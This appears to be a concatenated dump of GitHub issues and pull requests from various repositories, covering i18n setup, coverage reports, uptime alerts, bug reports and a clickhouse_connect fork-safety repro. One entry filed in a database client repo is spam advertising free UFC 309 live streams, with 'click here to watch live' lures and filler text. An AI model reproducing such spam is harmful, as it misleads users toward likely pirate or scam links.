text:
banana-i18n integration with simulator

quick glance of the library

define constructor eg: banana
access all the methods provided by library via banana.method_name()
set locale value using setLocale
setup fetch api accordingly to load translations
use methods in js files

more  Setup information

banana-i18n.js library file```
config-i18n.js configuration for i18n.
translation loading is done using fetch API with async and await so that function is not completed till fetch request is completed.
cache is disabled during http request so that when json is modified json.response() will not contain old data and will render new data
locale is brought from backend to frontend using window.locale
other functionalities such as plurals , interpolations/placeholders working fine

things needed to be handled further

page should not load until translations are loaded via fetch api.
sometimes program executes and delay in fetch can result in printing of key names only and not actual translations.
error handling
fetch api doesnt handle 404 request. logic has to be build for handiling server and bad http request errors such as 404 file not found.
library is not resolving fallback language as well as fallback messages with webacker . (work in progress)

Screenshots of the changes (If any) -

Note: Please check Allow edits from maintainers. if you would like us to assist in the PR.

CC @satu0king @tachyons

I was thinking of creating fresh PR with single clean commit...
If discussion is required for future reference I will continue with this.

Feel free to create New PR

closing this , new pr for the same -  https://github.com/CircuitVerse/CircuitVerse/pull/2318


text:
feat: customise notification events

Fixes #3395
Describe the changes you have made in this PR -
added option for users to customise the notification events they want to get notified for.
Screenshots of the changes (If any) -

Note: Please check Allow edits from maintainers. if you would like us to assist in the PR.
The code needs refactoring ... currently working on same

@vedant-jain03 @tachyons
I have explained my code here
Could you review this once, whether the approach of my solution is right?
Just wanted to make sure there are no big changes with dealing with the implementation before writing test cases.

source: gharchive/pull-request

repo: CircuitVerse/CircuitVerse

license: MIT

license_type: permissive

license_source: github-api


text:
Add terraform openstack module for creating LB (via Neutron LBaaS).

Create a terraform module to allow setting up a load balancer. Added sample configuration to openstack-modules.sample.tf showing how this can be done to load balance across the control nodes, and across the edge nodes. I left the sample code commented out, so it has to be explicitly turned on.
Note: I found a bug in the terraform-openstack provider while testing this - https://github.com/hashicorp/terraform/pull/5557. Without this fix the creation of the LB may fail (it did more often than not for me).

One thing about this, we may not need all the commented code if it is just a sample file.
Terraform also joins all the files together, so it could be a separate file.
How about openstack-lb.sample.tf with no comments?

Pinging @sehqlr @Dacode45: Do either of you have a working Openstack environment?

I haven’t tried OS for a while, but I can take a look

On Jul 29, 2016, at 03:17, Langston Barrett notifications@github.com wrote:
Pinging @sehqlr https://github.com/sehqlr @Dacode45 https://github.com/Dacode45: Do either of you have a working Openstack environment?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/CiscoCloud/mantl/pull/1263#issuecomment-236121977, or mute the thread https://github.com/notifications/unsubscribe-auth/ACnp5GrnrjW6VB5BxvjikbQWpQA9nECNks5qabcogaJpZM4HuIhY.

authors: pfrybar sehqlr siddharthist stevendborrelli

repo: CiscoCloud/mantl

license_source: bigquery


text:
Gom reboot logging in Restart FM

In case the gom ever reboots or hard-resets during flight, we need to be able to recover the current time on the satellite. The RTC (real-time clock) is powered by the always-on gom outputs, but these are not powered when the gom is rebooting due to watchdog timers or a command we send it. So inside of the Restart FM we will need to track whether the restart was caused by the pi in software or by the gom. This can be determined by polling the gom's housekeeping data and checking the number of gom reboots. If the number of gom reboots has increased since the last time it was polled, we know to add ~400ms to the system clock.
We need to add at least one column to the Reboots sql model: the number of gom reboots, for this functionality.
Viraj is working on a test report that requires this feature and he knows more about using the RTC in software as well.

Here are also some changes that need to be made to the Bootup/restart flight modes:

[ ] Camera mux initialization should be done in main.py's init_sensors() method, so that any flight mode can access the cameras through a self.parent.mux or self.parent.camera call
[ ] Move the Bootup's db logging and sleep actions from __init__ to run
[ ] In restart mode, check if the gom rebooted, if so, add 400ms to the system clock

Here are also some changes that need to be made to the Bootup/restart flight modes:

[ ] Camera mux initialization should be done in main.py's init_sensors() method, so that any flight mode can access the cameras through a self.parent.mux or self.parent.camera call
[ ] Move the Bootup's db logging and sleep actions from __init__ to run
[ ] In restart mode, check if the gom rebooted, if so, add 400ms to the system clock

source: gharchive/issue

repo: Cislunar-Explorers/FlightSoftware


text:
Feature document api changes

Description :sparkles:
Add service field to document api, allows filtering with service name.
Allow setting document user to anonymous document for API key post and patch requests.
Add Status history to documents and update status format on document GET
Issues :bug:
Content field on GET is returned as a string instead of JSON. Will be fixed next.
Closes :no_good_woman:
[ATV-88: ]
[ATV-103: ]
[ATV-104: ]
[ATV-105: ]
Related :handshake:
Testing :alembic:
Automated tests :gear:
Yes
Manual testing :construction_worker_man:
Screenshots :camera_flash:
Additional notes :spiral_notepad:

Codecov Report

Merging #50 (2baa958) into main (dca73da) will increase coverage by 0.41%.
The diff coverage is 100.00%.

:exclamation: Current head 2baa958 differs from pull request most recent head a9e6788. Consider uploading reports for the commit a9e6788 to get more accurate results

@@            Coverage Diff             @@
##             main      #50      +/-   ##
==========================================
+ Coverage   90.00%   90.42%   +0.41%
==========================================
  Files          51       52       +1
  Lines        1201     1243      +42
  Branches      114      119       +5
==========================================
+ Hits         1081     1124      +43
+ Misses         85       84       -1
  Partials       35       35

Impacted Files
Coverage Δ

documents/api/docs.py
100.00% <ø> (ø)

documents/api/filtersets.py
100.00% <100.00%> (ø)

documents/api/querysets.py
80.00% <100.00%> (ø)

documents/api/viewsets.py
94.93% <100.00%> (+0.37%)
:arrow_up:

documents/models.py
100.00% <100.00%> (ø)

documents/serializers/document.py
98.30% <100.00%> (+0.68%)
:arrow_up:

documents/serializers/status_history.py
100.00% <100.00%> (ø)

audit_log/viewsets.py
88.88% <0.00%> (+1.38%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update dca73da...a9e6788. Read the comment docs.

authors: AntiAki-M codecov-commenter

repo: City-of-Helsinki/atv


text:
Add a "glossary" system for term management

add a model for Term Categories (these group Terms, below)
add a model for Term (has a reference to a Category, a name, a rich text (HTML) description, and a "show in lists" boolean field)
add admin for the above
make it possible to refer to Terms from within HTML content (#7)
make it possible to add a Wagtail Block that lists all list-visible terms in a given Category ("definition list") (#37)

#7 Liittyy

I unassigned myself because I'm not quite involved with this project anymore. It's unfortunate that Glossy apparently never got merged.

authors: akx terotic terotik

repo: City-of-Helsinki/digihel

license: mit


text:
function [x, y] = calculate_target_location(distance, bearing, current_location)
    % Convert bearing from degrees to radians
    bearing_rad = deg2rad(bearing);

    % Calculate the x and y coordinates of the target maritime
    x = current_location(1) + distance * cos(bearing_rad);
    y = current_location(2) + distance * sin(bearing_rad);
end

% Example usage
distance = 10; % distance in nautical miles
bearing = 45; % bearing in degrees
current_location = [0, 0]; % current location in (x, y) coordinates

[x, y] = calculate_target_location(distance, bearing, current_location);
disp(['Target maritime location: (', num2str(x), ', ', num2str(y), ')']);

function [x, y] = calculate_target_location(distance, bearing, current_location)
    % Convert bearing from degrees to radians
    bearing_rad = deg2rad(bearing);

    % Calculate the x and y coordinates of the target maritime
    x = current_location(1) + distance * cos(bearing_rad);
    y = current_location(2) + distance * sin(bearing_rad);
end

% Example usage
distance = 10; % distance in nautical miles
bearing = 45; % bearing in degrees
current_location = [0, 0]; % current location in (x, y) coordinates

[x, y] = calculate_target_location(distance, bearing, current_location);
disp(['Target maritime location: (', num2str(x), ', ', num2str(y), ')']);

function [x, y] = calculate_target_location(distance, bearing, current_location)
    % Convert bearing from degrees to radians
    bearing_rad = deg2rad(bearing);

    % Calculate the x and y coordinates of the target maritime
    x = current_location(1) + distance * cos(bearing_rad);
    y = current_location(2) + distance * sin(bearing_rad);
end

% Example usage
distance = 10; % distance in nautical miles
bearing = 45; % bearing in degrees
current_location = [0, 0]; % current location in (x, y) coordinates

[x, y] = calculate_target_location(distance, bearing, current_location);
disp(['Target maritime location: (', num2str(x), ', ', num2str(y), ')']);

import math

def calculate_target_location(distance, bearing, current_location):
    # Convert bearing from degrees to radians
    bearing_rad = math.radians(bearing)

    # Calculate the x and y coordinates of the target maritime
    x = current_location[0] + distance * math.cos(bearing_rad)
    y = current_location[1] + distance * math.sin(bearing_rad)

    return x, y

# Example usage
distance = 10  # distance in nautical miles
bearing = 45  # bearing in degrees
current_location = [0, 0]  # current location in (x, y) coordinates

x, y = calculate_target_location(distance, bearing, current_location)
print(f"Target location: ({x}, {y})")

repo: City-of-Helsinki/maritime-maas


text:
chore: convert price field to a free text field

PT-1489 PT-1490. This branch is an alternative for #267 (where the price field number is formatted / normalized). This branch makes the field fully free text.

Codecov Report

Merging #268 (5938aa3) into master (2eb425a) will decrease coverage by 0.00%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #268      +/-   ##
==========================================
- Coverage   82.23%   82.23%   -0.01%
==========================================
  Files         244      244
  Lines        4672     4671       -1
  Branches     1411     1411
==========================================
- Hits         3842     3841       -1
  Misses        800      800
  Partials       30       30

Impacted Files
Coverage Δ

src/domain/event/eventForm/ValidationSchema.ts
80.00% <ø> (-1.82%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2eb425a...5938aa3. Read the comment docs.

Asked from product owner and we need to support a real free text like "ask an offer", so this PR should be used instead of #267.
I will add "ask an offer" as an example to the unit test.

[ ]

authors: codecov-commenter nikomakela

repo: City-of-Helsinki/palvelutarjotin-admin


text:
Hl 423/exporting applications UI

Description :sparkles:
Issues :bug:
Testing :alembic:
Screenshots :camera_flash:

Additional notes :spiral_notepad:

Codecov Report

Merging #848 (3614e29) into develop (baca626) will decrease coverage by 60.84%.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           develop    #848       +/-   ##
===========================================
- Coverage    62.66%   1.82%   -60.85%
===========================================
  Files          836      69      -767
  Lines        21802    1095    -20707
  Branches      2193     186     -2007
===========================================
- Hits         13663      20    -13643
+ Misses        7763    1040     -6723
+ Partials       376      35      -341

Impacted Files
Coverage Δ

...end/tet/admin/src/backend-api/linked-events-api.ts
0.00% <0.00%> (-55.00%)
:arrow_down:

...ntend/tet/admin/src/backend-api/transformations.ts
28.57% <0.00%> (-6.13%)
:arrow_down:

frontend/tet/admin/src/pages/_app.tsx
0.00% <0.00%> (ø)

frontend/tet/admin/src/pages/edit/[id].tsx
0.00% <0.00%> (ø)

frontend/tet/admin/src/pages/editstatic.tsx
0.00% <0.00%> (ø)

...rontend/tet/admin/src/components/editor/Editor.tsx
0.00% <0.00%> (ø)

...ntend/tet/admin/src/components/editor/EditById.tsx
0.00% <0.00%> (ø)

...tend/tet/admin/src/components/editor/DateInput.tsx
0.00% <0.00%> (ø)

...tet/admin/src/components/editor/SelectionGroup.tsx
0.00% <0.00%> (ø)

...tet/admin/src/hooks/backend/useUpsertTetPosting.ts
0.00% <0.00%> (ø)

... and 792 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update baca626...3614e29. Read the comment docs.

repo: City-of-Helsinki/yjdh


text:
[Database] clean-up

Remove unnecesary methods. closes #201

Codecov Report

Merging #202 into dev will increase coverage by 0.87%.
The diff coverage is 0%.

@@            Coverage Diff             @@
##              dev     #202      +/-   ##
==========================================
+ Coverage   52.08%   52.96%   +0.87%
==========================================
  Files          74       74
  Lines        2473     2432      -41
==========================================
  Hits         1288     1288
+ Misses       1077     1036      -41
  Partials      108      108

Impacted Files
Coverage Δ

pkg/database/leveldb.go
78.94% <0%> (+53.94%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c1b6738...fbd54da. Read the comment docs.

Award decentralizedkev 100 points

https://neoscan.io/transaction/81db58e8e3fcae21d4d614c008935de2fcb2d53bdf05ce5b4a40e13c3a110314

authors: codecov-io decentralisedkev hal0x2328 lllwvlvwlll

repo: CityOfZion/neo-go


text:
Test question

Test description

Test answer

repo: CityRunner/education-handbook


text:
Punching blocks while travelling on copper rails doesn't cti, but does on non-copper rails

If you have /cti enabled and punch the wall as you travel, no reinforcement information is printed (unless you're on a diagonal and punch when you happen to be technically over a non-copper block). But when travelling on a non-copper rail, the reinforcement information prints without fail.

Are you sure this isn't just due to the block being out of range due to network latency?

authors: Gjum Protonull

repo: CivMC/Civ


text:
⚠ Bofrost.at has degraded performance

In b664cfd, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1780 ms

Resolved: Bofrost.at performance has improved in 6ad10ee.

repo: Ckal/Uptime


text:
⚠ Bofrost.at has degraded performance

In 8f87ac8, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1363 ms

Resolved: Bofrost.at performance has improved in 8df3e63.


text:
⚠ Bofrost.be has degraded performance

In 8e10e77, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1165 ms

Resolved: Bofrost.be performance has improved in c3f2294.


text:
⚠ Bofrost.at has degraded performance

In 8b59af8, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 2327 ms

Resolved: Bofrost.at performance has improved in 5f24869.


text:
⚠ Bofrost.at has degraded performance

In 58952f3, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1789 ms

Resolved: Bofrost.at performance has improved in eca9329.


text:
⚠ Bofrost.be has degraded performance

In e4d5f25, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1531 ms

Resolved: Bofrost.be performance has improved in 8e41c69.


text:
⚠ Bofrost.at has degraded performance

In eca2498, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1317 ms

Resolved: Bofrost.at performance has improved in b6c85d1.


text:
⚠ Bofrost.at has degraded performance

In e674a06, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1179 ms

Resolved: Bofrost.at performance has improved in c64e982 after 6 minutes.


text:
⚠ Bofrost.at has degraded performance

In 2a40752, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1553 ms

Resolved: Bofrost.at performance has improved in ddd1583 after 8 minutes.


text:
⚠ Bofrost.lu has degraded performance

In 6c39066, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1750 ms

Resolved: Bofrost.lu performance has improved in 8e45da4 after 8 minutes.


text:
⚠ Bofrost.lu has degraded performance

In 33693d6, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 856 ms

Resolved: Bofrost.lu performance has improved in dc14e12 after 15 minutes.


text:
⚠ Bofrost.de has degraded performance

In 03aaf9e, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1052 ms

Resolved: Bofrost.de performance has improved in 5667812 after 9 minutes.


text:
⚠ Bofrost.de has degraded performance

In 1f26aef, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1945 ms

Resolved: Bofrost.de performance has improved in 94fc6c0.


text:
⚠ Bofrost.es has degraded performance

In 6dec556, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1542 ms

Resolved: Bofrost.es performance has improved in 2262f66 after 13 minutes.


text:
⚠ Bofrost.lu has degraded performance

In d46d8b2, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1544 ms

Resolved: Bofrost.lu performance has improved in bc0a9c1 after 6 minutes.


text:
⚠ Bofrost.lu has degraded performance

In 738fd68, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1167 ms

Resolved: Bofrost.lu performance has improved in 8194213 after 6 minutes.


text:
⚠ Bofrost.fr has degraded performance

In acd1062, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1429 ms

Resolved: Bofrost.fr performance has improved in 10de37c after 6 minutes.


text:
⚠ Bofrost.be has degraded performance

In 88ba0df, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1075 ms

Resolved: Bofrost.be performance has improved in d9ec575 after 6 minutes.


text:
⚠ Bofrost.ch has degraded performance

In 0333ce4, Bofrost.ch (https://www.bofrost.ch) experienced degraded performance:

HTTP code: 200
Response time: 1352 ms

Resolved: Bofrost.ch performance has improved in e465570 after 6 minutes.


text:
⚠ Bofrost.lu has degraded performance

In c78c4b1, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 994 ms

Resolved: Bofrost.lu performance has improved in 90e8a51 after 27 minutes.


text:
⚠ Bofrost.de has degraded performance

In 4e81599, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 980 ms

Resolved: Bofrost.de performance has improved in dd26404 after 10 minutes.


text:
⚠ Bofrost.de has degraded performance

In 565b2df, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 985 ms

Resolved: Bofrost.de performance has improved in 66de235 after 45 minutes.


text:
⚠ Bofrost.at has degraded performance

In 52f9c47, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1760 ms

Resolved: Bofrost.at performance has improved in 3de0b9a after 12 minutes.


text:
⚠ Bofrost.com has degraded performance

In de2cd54, Bofrost.com (https://www.bofrost.com) experienced degraded performance:

HTTP code: 200
Response time: 856 ms

Resolved: Bofrost.com performance has improved in 648cb16 after 6 minutes.


text:
⚠ Bofrost.lu has degraded performance

In fbf83ac, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1595 ms

Resolved: Bofrost.lu performance has improved in 6b46ad0 after 7 minutes.


text:
⚠ Bofrost.de has degraded performance

In 5a4d105, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1044 ms

Resolved: Bofrost.de performance has improved in 24018ee after 23 minutes.


text:
⚠ Bofrost.lu has degraded performance

In 2d23910, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1878 ms

Resolved: Bofrost.lu performance has improved in 9c8b04f after 6 minutes.


text:
⚠ Bofrost.at has degraded performance

In 5d6e2d6, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1619 ms

Resolved: Bofrost.at performance has improved in 34786f5 after 13 minutes.


text:
⚠ Bofrost.fr has degraded performance

In e6ca021, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1409 ms

Resolved: Bofrost.fr performance has improved in 48810b8 after 6 minutes.


text:
⚠ Bofrost.de has degraded performance

In aad3aa3, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1228 ms

Resolved: Bofrost.de performance has improved in 08ec8bd after 1 hour, 25 minutes.


text:
⚠ Bofrost.lu has degraded performance

In 770d22e, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1021 ms

Resolved: Bofrost.lu performance has improved in e98f102 after 10 minutes.


text:
⚠ Bofrost.be has degraded performance

In 3a4da28, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1490 ms

Resolved: Bofrost.be performance has improved in cd0ba69 after 23 minutes.


text:
⚠ Bofrost.fr has degraded performance

In 6cb6a65, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 926 ms

Resolved: Bofrost.fr performance has improved in 3117081.


text:
⚠ Bofrost.fr has degraded performance

In 231ca93, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1050 ms

Resolved: Bofrost.fr performance has improved in 3b7c97c.


text:
⚠ Bofrost.de has degraded performance

In 2b836c7, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1190 ms

Resolved: Bofrost.de performance has improved in 7deee22.


text:
⚠ Bofrost.be has degraded performance

In 8f20e0d, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 915 ms

Resolved: Bofrost.be performance has improved in c9b8b77.


text:
Error due to wrong file type is incorrectly classified as "got XML response"

https://github.com/ClarityMoe/Sagiri/blob/master/lib/Handler.js#L171-L176
If user uploaded something that is not an image, the API will return HTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sauce Found?</title>
<link rel="stylesheet" href="css/saucenao-new.css" media="screen" type="text/css" />

You need an Image! ...GO BACK TO START...

If an image was provided, it may not be loading properly, or may not be in an acceptable format... The image must be: gif, jpg, png, bmp, svg, or webp...
 Try another, or convert your image first.

Detected Type 1: application/pdf
Detected Type 2: application/pdf

Which is incorrectly handled as "got XML response".

@Voileexperiments intended handling but the error message was wrong. Correcting it rn

repo: ClarityMoe/Sagiri


text:
🛑 Dev Backend is down

In 707ea56, Dev Backend (https://the-back-dev.claros.so) was down:

HTTP code: 502
Response time: 29238 ms

Resolved: Dev Backend is back up in 557ad2b after 278 days, 14 hours, 1 minutes.

repo: ClarosAI/upptime


text:
Resolve build errors with no inbox support CT build

Description
We've been using the preprocessor macro support for not compiling Inbox related features in our app in a custom forked repo.
In this MR we are trying to upstream the changes required for such support.
Building the SDK with the CLEVERTAP_NO_INBOX_SUPPORT macro allows us to reduce the app size impact of CleverTapSDK on our app.
Before this change, we used to get 2 build errors on master when compiling with the CLEVERTAP_NO_INBOX_SUPPORT macro enabled in GCC_PREPROCESSOR_DEFINITIONS. This MR fixes these build issues.
What does this PR do?

Wrap function calls in #if blocks so that the builds compile with or without the CLEVERTAP_NO_INBOX_SUPPORT macro.

@Aditi3 Can you review this change?

@asifmohd Thank you for bringing this to our notice. We have identified this as a bug and added it to our release cycle. A Github issue for this has been created here for tracking purposes. We shall be releasing this hotfix very soon.

Thank you for the update Akash 👍

authors: akashvercetti asifmohd

repo: CleverTap/clevertap-ios-sdk


text:
Tag v0.16.2

Purpose
Tag v0.16.2

[x] I have read and checked the items on the review checklist.

bors r+


text:
Changed the arg_type of command-line arguments for KiD_driver from Re…

…al to Float64
Also, enable Float32 runs

Purpose

The parsing of the command-line arguments (e.g. --t_end) was not working properly when their arg_type was set to Real:
invalid argument: 1000.0 (conversion to type Real failed; you may need to overload                   ArgParse.parse_item; the error was: MethodError(tryparse, (Real, "1000.0"), 0x0000000000008433))
Changing the arg_type to Float64 fixed the issue.
To-do

Content

[ ] I have read and checked the items on the review checklist.

Since I moved the code of KiD_driver.jl in mm/refactor_kid_driver_add_precip_analysis, and it will be difficult to merge, I will just replicate these changes in that branch instead of merging them separately


text:
change non_zero function and clean up

Purpose

Changes the non_zero function to preserve the sign of the input. Also cleans up universal functions to make the logic more clear.
To-do

Content

[ ] I have read and checked the items on the review checklist.

@szy21 I'll start a longrun tracking these changes over the weekend


text:
#+HOW To WTAch!* UFC 309 LiVe 𝐒𝐭𝐫𝐞𝐚𝐦𝐬 ...FrEe BrOaDcAsT oN TV Guide & 𝐒𝐭𝐫𝐞𝐚𝐦𝐢𝐧𝐠 16 November 2024

MMA legends will collide as Jon Jones defends his World Heavyweight Championship against former champion Stipe Miocic at UFC 309 today – Saturday, Nov. 16 – at Madison Square Garden in New York, New York. This main event is available on one streaming service.
🔴STREAMING🌐🟢==►► CLICK HERE TO WATCH LIVE
🔴STREAMING🌐🟢==►► CLICK HERE TO WATCH LIVE
How do I watch Jones vs. Miocic?
UFC 309 will be streamed live on PPV via ESPN+. You can get a subscription to ESPN+ for $11.99 per month but this special event will be $79.99. Another option is to sign up for an annual subscription for $119.99.
What time is UFC 309?
The event will begin at 6 p.m. Eastern with early prelims that will air exclusively on UFC Fight Pass. ESPN+ and ESPN News will have main prelims starting at 8 p.m. The main card will stream on PPV via ESPN+ and is scheduled to begin at 10 p.m. Eastern. The Jones-Miocic main event is expected to begin around midnight.
You can watch the main prelims on ESPN News for free via DirecTV Stream (free trial) or FuboTV (free trial and $20 off first month). You can also catch it for cheap on SlingTV.
Watch Jones vs. Miocic on PPV via ESPN+
Main Event preview
Jones (27-1-0, NC) vs. Miocic (20-4-0)
This bout was supposed to take place at UFC 295 in November 2023, but was cancelled after Jones suffered a pectoral injury. Jones' previous fight was a Heavyweight clincher against Ciryl Gane in March 2023. He applied a dominating guillotine choke to score the first round submission.
Miocic’s last fight was back in March 2021 at UFC 260 in a rematch against Francis Ngannou where he lost the Heavyweight Championship after a second-round TKO. Miocic, an Independence, Ohio native, looked overmatched and his MMA career was thrust into uncertainty.
The co-main event pits former UFC Lightweight Champion Charles Oliveira (34-10-0, 1 NC) against Michael Chandler (23-8-0), who is making his return to the Octagon after two years.
What is the main card for UFC 309?
(Champion) Jon Jones vs. Stipe Miocic - UFC Men’s Heavyweight title
Charles Oliviera vs. Michael Chandler - Lightweight
Bo Nickal vs. Paul Craig - Middleweight
Vivian Araujo vs. Karine Silva - Women’s Flyweight
Mauricio Ruffy vs. James Llontop - Catchweight
PRELIMS (Available on ESPN news)
Jonathan Martinez vs. Marcus McGhee - Bantamweight
Chris Weidman vs. Eryk Anders - Middleweight
Jim Miller vs. Damon Jackson - Lightweight
David Onama vs. Roberto Romero - Lightweight
EARLY PRELIMS (Available on UFC Fight pass)
Marcin Tybura vs. Jhonata Diniz - Heavyweight
Mickey Gall vs. Ramiz Brahimaj - Welterweight
Bassil Hafez vs. Oban Elliott - Welterweight
Veronica Hardy vs. Eduarda Mora -Women’s Flyweight
What are the latest odds for UFC 309?
(Champion) Jon Jones (-625) vs. Stipe Miocic (+455)
Charles Oliviera (-258) vs. Michael Chandler (+210)
Bo Nickal (-1350) vs. Paul Craig (+800)
Vivian Araujo (+240) vs. Karine Silva (-298)
Mauricio Ruffy (-900) vs. James Llontop (+600)
Jonathan Martinez (+110) vs. Marcus McGhee (-130)
Chris Weidman (-102) vs. Eryk Anders (-118)
Jim Miller (+185) vs. Damon Jackson (-225)
David Onama (-1350) vs. Roberto Romero (+800)
Marcin Tybura (-118) vs. Jhonata Diniz (-102)
Mickey Gall (-155) vs. Ramiz Brahimaj (+130)
Bassil Hafez (+240) vs. Oban Elliott (-298)
Veronica Hardy (-108) vs. Eduarda Mora (-112)SVAG

ALLSPpp
WW

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.
ALLSPpp
WW

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.
ALLSPpp
WW

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.
ALLSPpp
WW

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.
ALLSPpp
WW

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.
dfd

ewrtfwsef

authors: AAtsukiko nanizaloog soladaalu

repo: ClickHouse/ch-go


text:
Fix thread safety in http pool manager

Problem
There is a thread safety issue in the way the HttpClient initializes. Here is a snippet to trigger it:
import multiprocessing

import clickhouse_connect

def get_client() -> clickhouse_connect.driver.client.Client:
    return clickhouse_connect.get_client(host='localhost')

def test_client(*_):
    client = get_client()
    client.command('SELECT version();')
    client.close()

def test_concurrency():
    # Call test client in original thread, before creating new
    # process. This ensures that any globals that may be initialized
    # in the library are initialized before forking next
    test_client()

    # Fork 8 processes, each initializing a fresh client. Any globals
    # from this process that end up being used in child processes may
    # very well become broken.
    with multiprocessing.Pool(8) as pool:
        pool.map(test_client, range(100))

if __name__ == '__main__':
    test_concurrency()

We initialize a client in the parent process, make a request for the version and close the client
We fork 8 times, and run the same version request all with fresh clients that are closed at the end

This gives us this lovely error:
Traceback (most recent call last):
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/driver/httpclient.py", line 322, in _raw_request
    response: HTTPResponse = self.http.request(method, url,
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/request.py", line 78, in request
    return self.request_encode_body(
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/request.py", line 170, in request_encode_body
    return self.urlopen(method, url, **extra_kw)
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/poolmanager.py", line 376, in urlopen
    response = conn.urlopen(method, u.request_uri, **kw)
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/connectionpool.py", line 785, in urlopen
    retries = retries.increment(
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/util/retry.py", line 550, in increment
    raise six.reraise(type(error), error, _stacktrace)
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/packages/six.py", line 769, in reraise
    raise value.with_traceback(tb)
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/connectionpool.py", line 703, in urlopen
    httplib_response = self._make_request(
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/connectionpool.py", line 449, in _make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/opt/conda/envs/py310_64/lib/python3.10/site-packages/urllib3/connectionpool.py", line 444, in _make_request
    httplib_response = conn.getresponse()
  File "/opt/conda/envs/py310_64/lib/python3.10/http/client.py", line 1374, in getresponse
    response.begin()
  File "/opt/conda/envs/py310_64/lib/python3.10/http/client.py", line 318, in begin
    version, status, reason = self._read_status()
  File "/opt/conda/envs/py310_64/lib/python3.10/http/client.py", line 300, in _read_status
    raise BadStatusLine(line)
urllib3.exceptions.ProtocolError: ('Connection aborted.', BadStatusLine('\r\n'))

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/opt/conda/envs/py310_64/lib/python3.10/multiprocessing/pool.py", line 125, in worker
    result = (True, func(*args, **kwds))
  File "/opt/conda/envs/py310_64/lib/python3.10/multiprocessing/pool.py", line 48, in mapstar
    return list(map(*args))
